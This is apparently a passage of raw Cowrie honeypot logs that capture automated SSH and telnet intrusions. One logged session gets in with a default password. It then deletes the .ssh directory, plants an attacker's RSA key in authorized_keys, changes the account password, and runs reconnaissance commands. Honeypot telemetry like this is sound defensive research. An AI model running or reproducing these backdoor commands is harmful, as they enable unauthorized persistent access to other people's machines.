hange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:09.250992Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1010","message":"login attempt [admin/admin1010] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:10.066223Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:10.502834Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:10.506030Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:10.509146Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:10.708898Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.140668Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.144144Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.345578Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.349531Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42602,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae227a298734","protocol":"ssh","message":"New connection: 60.199.224.2:42602 (159.203.135.109:22) [session: ae227a298734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.540528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.545459Z","src_ip":"60.199.224.2","session":"ae227a298734","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:11.745049Z","src_ip":"60.199.224.2","session":"ae227a298734","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:12.577374Z","src_ip":"60.199.224.2","session":"ae227a298734","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:13.780438Z","src_ip":"60.199.224.2","session":"ae227a298734","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42606,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d19654a70bf","protocol":"ssh","message":"New connection: 60.199.224.2:42606 (159.203.135.109:22) [session: 8d19654a70bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:13.981477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:13.990388Z","src_ip":"60.199.224.2","session":"8d19654a70bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:14.191328Z","src_ip":"60.199.224.2","session":"8d19654a70bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:15.027729Z","src_ip":"60.199.224.2","session":"8d19654a70bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:16.233416Z","src_ip":"60.199.224.2","session":"8d19654a70bf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:16.483328Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:16.487103Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.67724657058716,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:16.571638Z","src_ip":"45.81.23.16","session":"a513bc318af5","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:16.687583Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.120796Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin1010\\n6kRBueyKQj3y\\n6kRBueyKQj3y\"|passwd|bash","message":"CMD: echo -e \"admin1010\\n6kRBueyKQj3y\\n6kRBueyKQj3y\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.124222Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.128004Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.131249Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/db9cd31c9cebac84ba77fc27872caa4fc5d57f240f049d475869f276f2f3cfea","size":32,"shasum":"db9cd31c9cebac84ba77fc27872caa4fc5d57f240f049d475869f276f2f3cfea","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/db9cd31c9cebac84ba77fc27872caa4fc5d57f240f049d475869f276f2f3cfea after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.331744Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.784723Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin1010\\n6kRBueyKQj3y\\n6kRBueyKQj3y\\n\"|passwd","message":"CMD: echo \"admin1010\\n6kRBueyKQj3y\\n6kRBueyKQj3y\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.788208Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f42082516e4bbf10319f4886410b250f0508580f4bfb6c15095a20627eabd108","size":25,"shasum":"f42082516e4bbf10319f4886410b250f0508580f4bfb6c15095a20627eabd108","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f42082516e4bbf10319f4886410b250f0508580f4bfb6c15095a20627eabd108 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:17.987644Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:18.472947Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:18.476695Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:18.678830Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.111500Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.115140Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.315802Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":41424,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5e6aa8563f2","protocol":"telnet","message":"New connection: 65.60.27.33:41424 (10.17.0.5:23) [session: b5e6aa8563f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.524540Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.752730Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.756251Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.759807Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":41910,"dst_ip":"10.17.0.5","dst_port":22,"session":"8466bf6bfd06","protocol":"ssh","message":"New connection: 103.176.20.115:41910 (10.17.0.5:22) [session: 8466bf6bfd06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.836966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.843453Z","src_ip":"103.176.20.115","session":"8466bf6bfd06","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:19.961352Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:20.093924Z","src_ip":"103.176.20.115","session":"8466bf6bfd06","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:20.405881Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:20.409914Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:20.610563Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.043507Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.046842Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wdkj@2025","message":"login attempt [root/wdkj@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.160750Z","src_ip":"103.176.20.115","session":"8466bf6bfd06","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.246241Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T21:59:21.689090Z","src_ip":"60.199.224.2","session":"5afdebe24121","protocol":"ssh"}
